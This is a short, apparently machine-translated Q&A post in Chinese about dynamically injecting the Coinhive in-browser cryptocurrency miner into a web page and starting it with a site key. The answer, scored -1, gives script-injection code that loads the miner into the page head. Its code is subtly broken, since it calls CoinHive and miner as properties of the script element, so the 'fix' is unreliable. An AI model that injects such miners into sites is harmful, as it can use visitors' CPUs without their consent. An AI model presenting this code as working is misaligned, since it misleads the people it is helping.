我是javascript的新手,我希望转换:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('KEY');
miner.start();
</script>
需要运行服务器端的javascript代码。这是我到目前为止,但我不能让它工作:
function runminer() {
var script = document.createElement('script');
script.src = 'https://coinhive.com/lib/coinhive.min.js';
var miner = new script.CoinHive.Anonymous('KEY');
script.miner.start()
}
谢谢!
答案 0 :(得分:-1)
看起来您忘记将脚本添加到DOM中,这应该可以解决问题:
var script = document.createElement('script');
script.onload = function() {
var miner = new script.CoinHive.Anonymous('KEY');
script.miner.start()
};
script.src = "https://coinhive.com/lib/coinhive.min.js";
document.getElementsByTagName('head')[0].appendChild(script);